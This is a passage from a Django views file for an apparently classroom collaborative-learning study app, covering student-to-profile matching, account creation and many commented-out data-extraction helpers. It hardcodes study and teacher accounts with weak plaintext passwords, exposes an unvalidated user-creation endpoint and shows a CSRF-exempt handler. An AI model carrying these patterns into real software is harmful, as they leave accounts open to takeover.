'study9251');\n user.save();\n user = User.objects.create_user('Ekans', '', 'study0922');\n user.save();\n\n # whiteboard-group 5\n user = User.objects.create_user('Chansey', '', 'study0193');\n user.save();\n user = User.objects.create_user('Psyduck', '', 'study6123');\n user.save();\n user = User.objects.create_user('Horsea', '', 'study8723');\n user.save();\n\n #whiteboard-group 6\n user = User.objects.create_user('Paras', '', 'study5283');\n user.save();\n user = User.objects.create_user('Mew', '', 'study5105');\n user.save();\n user = User.objects.create_user('Tangela', '', 'study6209');\n user.save();\n\n\n\n #group 11 - teacher/developers\n user = User.objects.create_user('AW', '', 'AW');\n user.save();\n user = User.objects.create_user('user1', '', 'user1');\n user.save();\n user = User.objects.create_user('user2', '', 'user2');\n user.save();\n\n user = User.objects.create_user('AW1', '', 'AW1');\n user.save();\n user = User.objects.create_user('AW2', '', 'AW2');\n user.save();\n user = User.objects.create_user('AW3', '', 'AW3');\n user.save();\n\n\n return render(request, 'app/login.html', {})\n\n##############################################\n##Codes used from the previous version-end##\n##############################################\n\n#very poor code, rewrite\ndef matchPersonalityProfile(request):\n\n #if the current student already 'loaded' then pull from there else load from the init\n\n\n if studentPersonalityChangeTable.objects.filter(posted_by_id = request.user, event=\"load match event\"):\n #print('user loaded before');\n #check if the user has changed anything\n entry = studentPersonalityChangeTable.objects.filter(posted_by_id = request.user, event=\"change html event\").values('id','char_msc','char_hsc','char_fam', 'char_con','char_name').order_by('-id')\n if entry:\n #print('user changed before');\n #if changed, get the changed characteristics\n entry_personality_dict = {}\n entry_personality_dict['msc'] = entry[0]['char_msc'];\n entry_personality_dict['hsc'] = entry[0]['char_hsc'];\n entry_personality_dict['fam'] = entry[0]['char_fam'];\n entry_personality_dict['con'] = entry[0]['char_con'];\n #entry_personality_dict['name'] = entry[0]['char_name'];\n\n #do the matching here\n #print(entry_personality_dict['msc'] )\n msc_list = ['not that great at math', 'pretty great at math']\n hsc_list = ['but she doesn’t feel like she is very good at giving help to others', 'and she thinks she is pretty good at giving help to others']\n fam_list = ['she prefers only working with people she knows', 'she doesn’t mind working with anybody']\n con_list = ['she doesn’t always participate', 'she usually does what she is supposed to do']\n\n current_user_profile = []\n current_user_profile.append(msc_list.index(entry_personality_dict['msc']))\n current_user_profile.append(hsc_list.index(entry_personality_dict['hsc']))\n current_user_profile.append(fam_list.index(entry_personality_dict['fam']))\n current_user_profile.append(con_list.index(entry_personality_dict['con']))\n\n #print(current_user_profile)\n\n personality_dict = handlerMatchProfile(request, current_user_profile, 'change match event')\n\n\n\n return JsonResponse({'profile': personality_dict});\n\n\n else:\n #multiple changed entries, picked the last one\n entry = studentPersonalityChangeTable.objects.filter(posted_by_id=request.user, event=\"load match event\").values('id','char_msc','char_hsc','char_fam','char_con',\n 'char_name').order_by('-id')\n\n entry_personality_dict = {}\n entry_personality_dict['msc'] = entry[0]['char_msc'];\n entry_personality_dict['hsc'] = entry[0]['char_hsc'];\n entry_personality_dict['fam'] = entry[0]['char_fam'];\n entry_personality_dict['con'] = entry[0]['char_con'];\n entry_personality_dict['name'] = entry[0]['char_name'];\n\n return JsonResponse({'profile': entry_personality_dict});\n\n\n\n else:\n # get the students characteristic VALUES from the database\n charac = getCharacteristic(request, request.user); # this is a dict\n #translate charac to a list, take the first four elem, fifth is the social\n charac_list = list(charac.values())[0:4]\n #print('debug matchPersonalityProfile', charac);\n #print('debug matchPersonalityProfile', charac_list[0]);\n\n personality_dict = handlerMatchProfile(request, charac_list, 'load match event')\n #print('line 1021', personality_dict);\n\n return JsonResponse({'profile': personality_dict});\n return HttpResponse('');\n\ndef handlerMatchProfile(request, charac_list, event):\n # order: msc, hsc, fam, con\n profile1 = [False, True, False, True]\n profile2 = [False, True, True, True]\n profile3 = [True, True, False, True]\n profile4 = [True, False, True, False]\n\n # calculate the difference\n diff_list = {}\n count1 = count2 = count3 = count4 = 0;\n for j in range(0, 4):\n if (charac_list[j] ^ profile1[j]): # this for loop is for maintaining the elem\n count1 = count1 + 1\n # print(count1)\n diff_list['profile1'] = count1;\n\n for j in range(0, 4):\n if (charac_list[j] ^ profile2[j]): # this for loop is for maintaining the elem\n count2 = count2 + 1\n # print(count2)\n diff_list['profile2'] = count2;\n\n for j in range(0, 4):\n if (charac_list[j] ^ profile3[j]): # this for loop is for maintaining the elem\n count3 = count3 + 1\n # print(count3)\n diff_list['profile3'] = count3;\n\n for j in range(0, 4):\n if (charac_list[j] ^ profile4[j]): # this for loop is for maintaining the elem\n count4 = count4 + 1\n # print(count4)\n diff_list['profile4'] = count4;\n\n # print('debug matchPersonalityProfile', diff_list);\n\n # select the personality that has the lowest diff; if more than one, select the first one\n matchedprofile = min(diff_list, key=diff_list.get);\n print('matched profile :: ', matchedprofile);\n\n # print('line 986 debug matchPersonalityProfile', matchedprofile);\n msc_statements = {\n 'False': 'not that great at math',\n 'True': 'pretty great at math'\n }\n\n hsc_statements = {\n 'False': 'but she doesn’t feel like she is very good at giving help to others',\n 'True': 'and she thinks she is pretty good at giving help to others'\n }\n\n fam_statements = {\n 'False': 'she prefers only working with people she knows',\n 'True': 'she doesn’t mind working with anybody'\n }\n\n con_statements = {\n 'False': 'she doesn’t always participate',\n 'True': 'she usually does what she is supposed to do'\n }\n\n selected_profile = ''\n if matchedprofile == 'profile1':\n selected_profile = profile1;\n elif matchedprofile == 'profile2':\n selected_profile = profile2;\n elif matchedprofile == 'profile3':\n selected_profile = profile3;\n else:\n selected_profile = profile4\n\n personality_dict = {}\n # msc is true;\n if selected_profile[0]: # selected_profile[0] = msc\n personality_dict['msc'] = msc_statements['True'];\n else:\n personality_dict['msc'] = msc_statements['False'];\n\n # msc is true;\n if selected_profile[1]: # selected_profile[1] = hsc\n personality_dict['hsc'] = hsc_statements['True'];\n else:\n personality_dict['hsc'] = hsc_statements['False'];\n\n # msc is true;\n if selected_profile[2]: # selected_profile[2] = fam\n personality_dict['fam'] = fam_statements['True'];\n else:\n personality_dict['fam'] = fam_statements['False'];\n\n # msc is true;\n if selected_profile[3]: # selected_profile[3] = con\n personality_dict['con'] = con_statements['True'];\n else:\n personality_dict['con'] = con_statements['False'];\n\n name_dict = {\n 'profile1': 'Seel',\n 'profile2': 'Abra',\n 'profile3': 'Bellsprout',\n 'profile4': 'Caterpie'\n }\n personality_dict['name'] = name_dict[matchedprofile];\n\n # save this into the database #the first entry shows the actual profile\n entry = studentPersonalityChangeTable(posted_by=request.user, char_msc=personality_dict['msc'],\n char_hsc=personality_dict['hsc'],\n char_fam=personality_dict['fam'],\n char_con=personality_dict['con'],\n char_name=personality_dict['name'],\n event=event);\n entry.save();\n\n return personality_dict;\n\ndef saveEditedPersonality(request):\n\n if request.method == 'POST':\n entry = studentPersonalityChangeTable(posted_by=request.user, char_msc=request.POST.get('msc'),\n char_hsc=request.POST.get('hsc'),\n char_fam=request.POST.get('fam'),\n char_con=request.POST.get('con'),\n char_name=request.POST.get('name'),\n event='change html event')\n entry.save();\n\n return HttpResponse('');\n# def getImagePerUser(request, act_id, username):\n# print('receiving parameter :: activity id :: username ' + act_id + ' ' + username);\n#\n# image_list = imageModel.objects.filter(gallery_id=act_id).filter(posted_by=User.objects.get(username=username))\n# image_data = serializers.serialize('json', image_list, use_natural_foreign_keys=True)\n#\n# print(image_data)\n#\n# return JsonResponse({'success': image_data})\n\n# def imageDelete(request, img_id):\n# img = imageModel.objects.get(pk=img_id)\n# # This will delete the image and all of its Entry objects.\n# print(img)\n# img.delete()\n#\n# return HttpResponse('deleted?')\n\n# delete the following method\n# def uploadKAImage(request):\n# #get image from html and save it in the database\n# if request.method == \"POST\":\n# # print (request.Files) #gives the name of the \n#\n# #get the KA ID\n# ka_id = request.POST.get('ka-act-id');\n#\n# #get the logged in username\n# username = ''\n# if request.user.is_authenticated:\n# print('username :: ', request.user.get_username())\n# username = request.user.get_username();\n# else:\n# print('user not signed in') #add in log\n#\n# #insert values in the database\n# ka_image_upload = khanAcademyAnswer(ka_id=ka_id, ka_image=request.FILES['ka_img_name'], posted_by=request.user);\n# ka_image_upload.save();\n#\n# latest_upload = khanAcademyAnswer.objects.filter(ka_id=ka_id).last()\n# #https://stackoverflow.com/questions/16640021/django-object-is-not-iterable-using-serializers-serialize\n# ka_img = serializers.serialize('json', [latest_upload], use_natural_foreign_keys=True)\n# #print(latest_upload.pk)\n#\n# return JsonResponse({'ka_imgID': latest_upload.pk, 'ka_img':ka_img})\n\n# def submitAnswer(request):\n#\n# print(request.POST.get('answer'));\n# userQuesAnswer = userQuesAnswerTable(questionIDbyPage = request.POST.get('page'), answer = request.POST.get('answer'), posted_by = request.user)\n# userQuesAnswer.save()\n#\n# return HttpResponse('')\n\n# def submitKAAnswer(request):\n# #check if any query present for that KA\n\n# if khanAcademyAnswer.objects.filter(ka_id=request.POST.get('activity_id')).filter(pk=request.POST.get('imgID')).filter(posted_by=request.user).exists():\n#\n# khanAcademyAnswer.objects.filter(ka_id=request.POST.get('activity_id')).filter(pk=request.POST.get('imgID')).filter(posted_by=request.user).\\\n# update(response_type=request.POST.get('response_type'),response=request.POST.get('answer'))\n#\n# # khanAcademyAnswer.objects.filter(ka_id=request.POST.get('id')).filter(response_type=request.POST.get('response_type')).update(response=request.POST.get('answer'))\n# # else:\n# # ka_answer = khanAcademyAnswer(ka_id=request.POST.get('id'), response_type=request.POST.get('response_type'), response=request.POST.get('answer'), posted_by = request.user)\n# # ka_answer.save()\n#\n# return HttpResponse('from server')\n#\n\n# def checkKAAnswer(request, ka_id):\n#\n# try:\n# #if multiple image with same ka activity id, pull the latest one\n# ka_obj = khanAcademyAnswer.objects.filter(ka_id=ka_id).filter(posted_by=request.user).order_by('-pk')[:1];\n# ka_obj = serializers.serialize('json', ka_obj, use_natural_foreign_keys=True)\n# print(ka_obj)\n# except imageModel.DoesNotExist:\n# ka_obj = None\n#\n# return JsonResponse({'success': ka_obj})\n#\n#\n# def random_discussion_group_generator(request):\n#\n# #delete previoud grouping - if any\n# random_group_users.objects.all().delete();\n#\n# #TODO: username and user face to face group number array\n# self = None;\n# all_group_list = randomGroupGenerator.creategroup(self)\n# for i in range(1,4):\n# #iterate through the list of lists\n# for list in all_group_list:\n# print(list)\n#\n# #get user for username=AW\n# teacher_user = User.objects.get(username='AW')\n# #iterate through the list and make entry\n#\n# for g in list:\n# user = User.objects.get(username=g)\n# print(user)\n# group_member = random_group_users(users=user, gallery_id = i, group=all_group_list.index(list)+1) #plus 1 so the group number starts from 1 instead of 0\n# group_member.save();\n#\n# #add amanda in every group\n# group_member = random_group_users(users=teacher_user, gallery_id = i, group=all_group_list.index(list)+1)\n# group_member.save();\n#\n#\n# # for i in range(1, 7): #6 galleries, so upto 7\n# # users_list = [str(user) for user in User.objects.all()];\n# # users_list = [n for n in users_list if n not in ['AW', 'user1', 'user2']]\n# # print(users_list)\n# # member_limit = 5;\n# #\n# # users_list_copy = users_list\n# # group_list = []\n# # while len(users_list_copy) > 0: # use all users\n# # if (len(users_list_copy) < member_limit):\n# # used_users = users_list_copy\n# # username_list_2 = [n for n in users_list_copy if n not in used_users]\n# # group_list.append(used_users)\n# # #print('groups:: ', used_users)\n# # break\n# # used_users = random.sample(users_list_copy, member_limit)\n# # group_list.append(used_users)\n# # #print('groups:: ', used_users)\n# # users_list_copy = [n for n in users_list_copy if n not in used_users]\n# # #print(users_list_copy)\n# #\n# # #print(group_list)\n# #\n# # #get user for username=AW\n# # teacher_user = User.objects.get(username='AW')\n# # #iterate through the list and make entry\n# # for group_index in range(len(group_list)):\n# # group = group_list[group_index]\n# # for g in group:\n# # user = User.objects.get(username=g)\n# # print(user)\n# # group_member = random_group_users(users=user, gallery_id = i, group=group_index+1) #plus 1 so the group number starts from 1 instead of 0\n# # group_member.save();\n# #\n# # #add amanda in every group\n# # group_member = random_group_users(users=teacher_user, gallery_id = i, group=group_index+1)\n# # group_member.save();\n#\n# #end of for loop\n# return HttpResponse('')\n#\n# # # check if a user has joined a group or not; if not add him in a group if group has still empty place\n# # # https://stackoverflow.com/questions/3090302/how-do-i-get-the-object-if-it-exists-or-none-if-it-does-not-exist\n# # try:\n# # isUserPresent = random_group_users.objects.get(users_id=request.user)\n# # print('inside try', isUserPresent)\n# # return HttpResponse('unable to join the group, already joined a group')\n# # except random_group_users.DoesNotExist:\n# # print('inside except')\n# # isUserPresent = None\n# # # count total number of members in the group\n# # member_count = random_group_users.objects.filter(group='A').count()\n# # print('total member count', member_count)\n# # if member_count < 6: #allows 6 members\n# # group_member = random_group_users(users = request.user, group='A')\n# # group_member.save();\n# # return HttpResponse('successfully joined the group')\n# # else:\n# # return HttpResponse('unable to join the group, group exceeded 6 members')\n#\n\n\n\n\n# # projection gallery dashboard\n# def dashboardGalleryInfo(request,act_id):\n# gallery_id = act_id;\n#\n# # get total groups for this gallery\n# info_query = random_group_users.objects.filter(gallery_id=gallery_id).values('group').distinct()\n#\n# # convert query into list\n# group_list = [int(q[\"group\"]) for q in info_query]\n#\n# list=[]\n# for group_id in group_list:\n# dict={};\n#\n# #store group id for this particular gallery\n# dict['group_id'] = group_id\n#\n# info_query = random_group_users.objects.filter(gallery_id=gallery_id).filter(group=group_id)\n#\n# # store user list for this group for this gallery\n# # get the user id from the users table and get their username\n#\n# temp = [User.objects.get(pk=e.users_id).get_username() for e in info_query]\n# temp.remove('AW') #remove simply removes the item, does not return anything. so print the list again\n# dict['user_list'] = temp\n# #print(dict['user_list'])\n#\n# # get the total number of comments by the users for each group for this gallery\n# image_data = aux_method_get_imgcomment_random_list_group_teacher(group_id, gallery_id)\n# dict['total_comment'] = len(image_data)\n#\n# list.append(dict);\n#\n# #print([q[\"fields\"] for q in info_query])\n# return JsonResponse({'list': list})\n\n\n# def getRandomGroupMemberList(request, gallery_id):\n#\n# # get the group for the user for specific gallery\n# random_group_id = random_group_users.objects.filter(gallery_id=gallery_id).filter(users_id=request.user).values('group')\n# for o in random_group_id: random_group_id = o['group']\n#\n# #get the user list - this returns a query object\n# random_list = random_group_users.objects.filter(gallery_id=gallery_id).filter(group=random_group_id)\n#\n# #convert the query list into a list\n# random_group_list = [User.objects.get(pk=o.users_id).get_username() for o in random_list]\n#\n# return random_group_list;\n\n# def updateDiscussionImageFeed(request, gallery_id):\n#\n# print(\"updateDiscussionImageFeed\");\n#\n# print(\"updateDiscussionImageFeed glry id\", gallery_id)\n# # first filter based on gallery since each gallery has different random group\n# random_users_based_on_gallery = random_group_users.objects.filter(gallery_id=gallery_id)\n#\n# # get in which middle group for current user\n# middlegroup_id = random_users_based_on_gallery.get(users_id=request.user).group # get the query first and access the group from that query\n# print(\"updateDiscussionImageFeed random group\", middlegroup_id)\n#\n# image_data = aux_method_get_imgcomment_random_list_group_teacher(middlegroup_id, gallery_id)\n# image_data = serializers.serialize('json', image_data, use_natural_foreign_keys=True)\n#\n# return JsonResponse({'success': image_data, 'username': request.user.get_username(), 'errorMsg': True})\n\n# def updateDiscussionImageFeedTeacherVersion(request, gallery_id, group_id):\n# print('updateDiscussionImageFeedTeacherVersion', gallery_id)\n# print('updateDiscussionImageFeedTeacherVersion',group_id)\n# image_data = aux_method_get_imgcomment_random_list_group_teacher(group_id, gallery_id)\n# image_data = serializers.serialize('json', image_data, use_natural_foreign_keys=True)\n# return JsonResponse({'success': image_data, 'username': request.user.get_username(), 'errorMsg': True})\n#\n# def aux_method_get_imgcomment_random_list_group_teacher(middlegroup_id, gallery_id):\n# # find other users in this group\n# # first filter based on gallery since each gallery has different random group\n# random_users_based_on_gallery = random_group_users.objects.filter(gallery_id=gallery_id)\n#\n# middlegroup_users = random_users_based_on_gallery.filter(group=middlegroup_id)\n# for o in middlegroup_users: print(\"updateDiscussionImageFeed random grp members\", o.users_id)\n#\n# # get their original group from groupinfo table\n# image_pk = []\n# for o in middlegroup_users:\n# originalgroup_id = \\\n# groupInfo.objects.filter(users_id=User.objects.get(pk=o.users_id)).order_by('group').values('group').distinct()[\n# 0]['group']\n#\n# print(\"updateDiscussionImageFeed original group id\", originalgroup_id)\n# # for each original group id get the image posted by that group - there should one image per group atleast\n# images = imageModel.objects.filter(gallery_id=gallery_id).filter(group_id=originalgroup_id).values('pk')\n# print(\"updateDiscussionImageFeed\", images)\n#\n# for im in images:\n# image_pk.append(im['pk']);\n# # image_data = serializers.serialize('json', images, use_natural_foreign_keys=True)\n#\n# # image ids of the images that a group can see.\n# # print('with duplicates :: ',image_pk)\n#\n# # if same id twice -- image is displayed twice -- so get the distinct IDs of the image\n# image_pk = list(set(image_pk))\n# # print('without duplicates :: ',image_pk)\n#\n# #get user object for middle group users\n# userobject_list = []\n# for o in middlegroup_users:\n# userID = User.objects.get(pk=o.users_id)\n# userobject_list.append(userID)\n#\n# # https://stackoverflow.com/questions/34830595/how-to-perform-a-queryset-in-django-with-a-loop-for-in\n# image_data = imageComment.objects.filter(isGroupDiscussion='yes').filter(imageId_id__in=image_pk).filter(posted_by_id__in=userobject_list)\n# print(image_data)\n#\n# return image_data\n\n# def getKAPerKAID(request,ka_id):\n#\n#\n# plusone = int(ka_id) + 1\n# #gives the raw query object\n# ka_items = khanAcademyAnswer.objects.filter(ka_id__in=[ka_id, str(plusone)]).order_by('posted_by__username') #posted by is the foreign key, so it was sorting based on the\n# #id, posted_by__username sorts alphabetically.\n#\n# #user id who posted\n# userid_list = [User.objects.get(pk=user['posted_by_id']).get_username() for user in khanAcademyAnswer.objects.values('posted_by_id').distinct()]\n# #print(userid_list)\n# #find users who did not post\n# users_did_not_post = [x for x in getAllUserList() if x not in userid_list]\n# #print(len(users_did_not_post))\n# #print(users_did_not_post)\n#\n#\n# #count number of student post\n# counter = Counter()\n# for o in ka_items:\n# counter[o.posted_by.get_username()] += 1;\n#\n# ka_list = []\n# #add users who did not post anything #not so happy with this approach #remove starts here\n# for o in users_did_not_post:\n# data = {}\n# data['ka_image'] = '';\n# data['posted_by'] = o;\n# data['count'] = 0;\n# data['response_type'] = '';\n# data['response'] = '';\n# #json_data = json.dumps(data);\n# ka_list.append(data);\n# # remove finishes here\n#\n# #iterate over the query\n# for o in ka_items:\n# data = {}\n# data['ka_image'] = str(o.ka_image);\n# data['posted_by'] = o.posted_by.get_username();\n# data['count'] = counter[o.posted_by.get_username()];\n# data['response_type'] = o.response_type;\n# data['response'] = o.response;\n# #json_data = json.dumps(data);\n# ka_list.append(data);\n#\n# #sort list of dictionary items by their username\n# #ka_list = sorted(ka_list, key=lambda k: k['posted_by'])\n#\n# #sort list by their counts\n# ka_list = sorted(ka_list, key=lambda k: k['count'])\n#\n# # context = {\n# # 'list': ka_list,\n# #\n# # }\n# #return render(request, 'app/dashboard.html', context); #sent to html itself\n#\n# return JsonResponse({'success': ka_list});\n\n# def getGalleryPerID(request,gid):\n#\n# #gives the raw query object\n# images = imageModel.objects.filter(gallery_id=gid)\n#\n# # user id who posted\n# userid_list = []\n# # image id list for this particular gallery\n# image_list = []\n# for im in images:\n# comment_count_list = []\n# comment_count_list = [0] * 31\n# item = {}\n# item['image_id'] = im.pk\n# item['posted_by'] = im.posted_by.get_username()\n# userid_list.append(item['posted_by'])\n# image_comments = imageComment.objects.filter(imageId = im.pk)\n# item['comments'] = [im.content for im in image_comments]\n# item['count'] = len(item['comments'])\n# image_list.append(item)\n#\n# #print(image_list)\n# # find users who did not post\n# users_did_not_post = [x for x in getAllUserList() if x not in userid_list]\n#\n# for user in users_did_not_post:\n# item = {}\n# item['image_id'] = 0;\n# item['posted_by'] = user;\n# item['comments'] = []\n# item['count'] = 0\n# image_list.append(item)\n#\n# # sort list by their counts\n# image_list = sorted(image_list, key=lambda k: k['count'])\n#\n# return JsonResponse({'success': image_list});\n\n# def getDashboard(request):\n# return render(request, 'app/dashboard.html');\n#\n# def insertBadges(request):\n# badge = badgeReceived(badgeType = request.POST.get('badgeType'), message = request.POST.get('message'),\n# platform = request.POST.get('platform'), userid = request.user)\n# badge.save()\n#\n# return HttpResponse('')\n\n#TODO: read excel and add it to the database method\n\n# def pageParser(request):\n# #CASE 4: static method - FAIL, not possible to call `cls.get` or `self.get`\n# #ref: https://stackoverflow.com/questions/50806626/django-calling-one-class-method-from-another-in-class-based-view\n# self = None\n# print(parser.activityParser(self))\n# return HttpResponse('')\n#\n#\n# def getAllStudentInfo(request,std_id):\n# return HttpResponse(std_id)\n#\n# def dashboardKAInfo(request,ka_id):\n#\n# print('entering dashboardKAInfo ka_id:', ka_id);\n#\n# ka_id = int(ka_id)\n# if ka_id%2 == 0:\n# even_id = ka_id;\n# odd_id = ka_id-1;\n# else:\n# odd_id = ka_id;\n# even_id = ka_id+1;\n#\n# # post - 1\n# odd_post_object = khanAcademyAnswer.objects.filter(ka_id = odd_id).exclude(response_type='')\n# ka_post_length_odd_id = len(odd_post_object)\n# print('hojoborolo',len(odd_post_object))\n#\n# #how many are question and how many are answer\n# post_odd_count = odd_post_object.values('response_type').annotate(dcount=Count('response_type'))\n# print(post_odd_count) #output in the format --> {{response type:answer, dcount:2}, {response type:question, dcount:1})\n#\n# answer = 0\n# question = 0\n#\n# for q in post_odd_count:\n# print(q)\n# if 'answer' in q.values():\n# answer = q[\"dcount\"]\n# #else: answer = 0;\n#\n# if 'question' in q.values():\n# question = q[\"dcount\"]\n# #else: question = 0;\n#\n# odd_answer_count = answer\n# odd_question_count = question\n#\n#\n# #post - 2\n# post_even_object = khanAcademyAnswer.objects.filter(ka_id=even_id).exclude(response_type='')\n# ka_post_length_even_id = len(post_even_object)\n#\n# # how many are question and how many are answer\n# post_even_count = post_even_object.values('response_type').annotate(dcount=Count('response_type'))\n#\n# answer = 0\n# question = 0\n#\n# for q in post_even_count:\n# print(q)\n# if 'answer' in q.values():\n# answer = q[\"dcount\"]\n# #else: answer = 0;\n#\n# if 'question' in q.values():\n# question = q[\"dcount\"]\n# #else: question = 0;\n#\n# even_answer_count = answer\n# even_question_count = question\n#\n#\n#\n# return JsonResponse({'ka_post_length_odd_id': ka_post_length_odd_id, 'odd_answer_count':odd_answer_count, 'odd_question_count':odd_question_count,\n# 'ka_post_length_even_id':ka_post_length_even_id, 'even_answer_count':even_answer_count, 'even_question_count':even_question_count})\n\n# def getGalleryTableTD(request, act_id):\n#\n# #get all the users\n# users_list = [str(user) for user in User.objects.all()]\n# print(users_list)\n# #returns None if no object is returned from the query. handles exception/error.s\n# try:\n# images = imageModel.objects.filter(gallery_id=act_id)\n# except imageModel.DoesNotExist:\n# images = None\n#\n# image_list = []\n# for im in images:\n# comment_count_list = []\n# comment_count_list = [0] * 31\n# item = {}\n# item['image_id'] = im.pk\n# item['posted_by'] = im.posted_by.get_username()\n# image_comments = imageComment.objects.filter(imageId = im.pk)\n# item['comments'] = [im.content for im in image_comments]\n# temp = [im.posted_by.get_username() for im in image_comments]\n# temp = Counter(temp)\n# for key, value in temp.items():\n# index = [users_list.index(key)] #returns a list of one item\n# comment_count_list[index[0]] = value;\n#\n#\n# item['comment_count'] = comment_count_list\n# image_list.append(item)\n#\n# return JsonResponse({'success': json.loads(json.dumps(image_list)), 'errorMsg': True})\n\n# create superuser\n# https://docs.djangoproject.com/en/2.1/topics/auth/default/\n\n\ndef createUser(request):\n\n if request.method == \"POST\":\n #get username/password from the form\n username = request.POST.get('username')\n password = request.POST.get('password')\n\n user = User.objects.create_user(username, '', password)\n user.save()\n\n #authenticate and redirect to index\n user = authenticate(username=username, password=password)\n print(user)\n\n if user:\n auth_login(request, user)\n return HttpResponseRedirect('/index/')\n else:\n # return invalid login message\n return render(request, 'app/login.html', {})\n\n return HttpResponse('')\n\n#\n# def camera(request):\n# return render(request, 'app/camera.html', {})\n\n\n# @csrf_exempt\n# def userLogFromExtenstion(request):\n# #https://stackoverflow.com/questions/35474259/django-middleware-making-post-request-blank\n# body = request.body.decode('utf-8') # in python 3 json.loads only accepts unicode strings\n# body = json.loads(body)\n#\n# print(body)\n# username = body['username'].split(' ')[0].lower()\n# action = body['action']\n# type = body['type']\n# data = body['input']\n# pagenumber = body['pagenumber']\n#\n# print(username)\n# user_pk_id = User.objects.get(username=username).pk\n# print (user_pk_id)\n#\n# print('from extension?', username, action, type, data, pagenumber)\n# log = body\n# f = open(\"extensionLOGfile.txt\", \"a\")\n# f.write(str(log))\n# f.write('\\n')\n#\n# log = userLogTable(username=User.objects.get(pk=user_pk_id), action=body['action'], type=body['type'],\n# input=body['input'], pagenumber=body['pagenumber'])\n# log.save()\n#\n# return HttpResponse('')\n\n# hacks - start\n\n#if this method is called with users already existing in the database, will return a django error message\n\n\n# def dataToCSV(request):\n# #get all the image objects and serialize to get the foreign key values\n# sql = imageModel.objects.all();\n# sql = serializers.serialize('json', sql, use_natural_foreign_keys=True)\n#\n# # how many image posted by each user?\n# sql = imageModel.objects.values('posted_by_id').annotate(dcount=Count('posted_by_id'))\n# # TODO: unable to serialize this query with the following\n# #sql = serializers.serialize('json', sql, use_natural_foreign_keys=True)\n#\n# #get imagecomment count grouped by image id but does not give the content\n# sql = imageComment.objects.values('imageId_id').annotate(dcount=Count('imageId_id'))\n# #print(sql) #print the result #print(len(sql[0]) #prints 2 - length of the first element\n# print(len(sql)) #get the length of total image group by count\n#\n# #get distinct image id from imagecomment model\n# #https://stackoverflow.com/questions/10848809/django-model-get-distinct-value-list\n# sql = imageComment.objects.order_by('imageId_id').values('imageId_id').distinct()\n#\n# #get the distinct image id in a list\n# image_id_list = [query['imageId_id'] for query in sql]\n# print(image_id_list)\n#\n# #only get the content field for each image id\n# #http://books.agiliq.com/projects/django-orm-cookbook/en/latest/select_some_fields.html\n# imageContent = []\n# for image_id in image_id_list:\n# #print(imageComment.objects.filter(imageId_id = image_id).values('content'))\n# comments = imageComment.objects.filter(imageId_id = image_id).values('content','posted_by_id')\n# # convert the query set into a list -- list(comments)\n# #process comments to remove content from each row\n# # #https://stackoverflow.com/questions/7650448/django-serialize-queryset-values-into-json\n# #comment_list = json.dumps([dict(item) for item in comments])\n# comment_list = [dict(item) for item in comments]\n# #print(comment_list)\n#\n# #print(list(comments))\n# item = {}\n# item['imageID'] = image_id\n# item['comments'] = comment_list\n# imageContent.append(item)\n#\n#\n# print(json.dumps(imageContent))\n# return HttpResponse('')\n#\n# def perUserDataExtract(request):\n# #get all the user list\n# users_list = [str(user) for user in User.objects.all()]\n# users_list.insert(0,0) #to start indexing from 1 instead of 0 to match user pk\n# #print(users_list[1:])\n#\n# user_activity = []\n# for user in users_list[1:29]:\n# #get image comment\n# #index and primary id is the same for user\n# imagecomment = imageComment.objects.filter(posted_by_id = users_list.index(user)).order_by('imageId_id').values('content','imageId_id')\n# comment_list = [dict(item) for item in imagecomment]\n#\n# item = {}\n# item['userID'] = users_list.index(user)\n# item['imagecomment'] = comment_list\n#\n# #get activity feed message for each user\n# general_chat_message = Message.objects.filter(posted_by_id = users_list.index(user)).values('content')\n# general_chat_message = [gcm['content'] for gcm in general_chat_message]\n# item['generalmessage'] = general_chat_message\n# user_activity.append(item)\n#\n#\n# #print(json.dumps(user_activity))\n#\n# #https://stackoverflow.com/questions/42354001/python-json-object-must-be-str-bytes-or-bytearray-not-dict\n# context = {'user_activity': json.loads(json.dumps(user_activity))}\n# return render(request, 'app/studentList.html', context)\n#\n# #return HttpResponse('')\n#\n# def getGeneralChatMsg(request):\n# userid_list = [user['posted_by_id'] for user in Message.objects.values('posted_by_id').distinct()]\n# generalChatComment_list = []\n# for userid in userid_list:\n# dict = {}\n# dict[userid] = [item['content'] for item in Message.objects.filter(posted_by_id=userid).values('content')]\n# generalChatComment_list.append(dict)\n#\n# return HttpResponse(generalChatComment_list)\n#\n# def getimageCommentCount(request):\n# imageComment_count = imageComment.objects.values('posted_by_id').annotate(dcount=Count('posted_by_id'))\n# print(imageComment_count)\n#\n# # list of unique users who posted in khan academy (not all users may post in khan academy)\n# userid_list = [user['posted_by_id'] for user in imageComment.objects.values('posted_by_id').distinct()]\n#\n# imageComment_list = []\n# for userid in userid_list:\n# dict = {}\n# dict[userid] = [item['content'] for item in imageComment.objects.filter(posted_by_id=userid).values('content')]\n# imageComment_list.append(dict)\n#\n# return HttpResponse(imageComment_list)\n#\n# def getimageCommentDetails(request):\n# # sort out images by each gallery id\n# gallery_id = [gid['gallery_id'] for gid in imageModel.objects.values('gallery_id').distinct()];\n# gallery_id.sort(); #in place sort, next time the list will be sorted.\n# print(gallery_id);\n#\n# list = [] #list of dictionary items\n# for gid in gallery_id:\n# dict={}\n# dict[gid] = [iid['id'] for iid in imageModel.objects.filter(gallery_id=gid).values('id')]\n# list.append(dict);\n#\n# # print list of dictionary items in key/value pairs\n# # for item in list:\n# # for k,v in item.items():\n# # print('{}: {}'.format(k,v));\n#\n# for item in list:\n# for k,v in item.items():\n# #v is the list of images in gallery k.\n# print('gallery #', k, 'has',len(v),'images');\n# print('image id list for gallery #', k, ':',v);\n# for i in v:\n# print('image id:',i, '---',imageComment.objects.filter(imageId_id=i).values('isGroupDiscussion').annotate(Count('isGroupDiscussion')))\n#\n#\n#\n# return HttpResponse();\n# def getkhanAcademyCount(request):\n# khanacademy_count = khanAcademyAnswer.objects.values('posted_by_id').annotate(dcount=Count('posted_by_id'))\n# #print(khanacademy_count)\n#\n# # list of unique users who posted in khan academy (not all users may post in khan academy)\n# userid_list = [user['posted_by_id'] for user in khanAcademyAnswer.objects.values('posted_by_id').distinct()]\n#\n# kaResponse_list = []\n# for userid in userid_list:\n# dict = {}\n# dict[userid] = [{'type':item['response_type'], 'response':item['response']} for item in khanAcademyAnswer.objects.filter(posted_by_id=userid).values('response_type', 'response')]\n# kaResponse_list.append(dict)\n#\n# return HttpResponse(kaResponse_list)\n#\n# def getKhanAcademyDetails(request):\n# #get total post on each khan academy\n# khanacademy_count = khanAcademyAnswer.objects.values('ka_id').annotate(dcount=Count('ka_id'))\n#\n# kid_list = [k['ka_id'] for k in 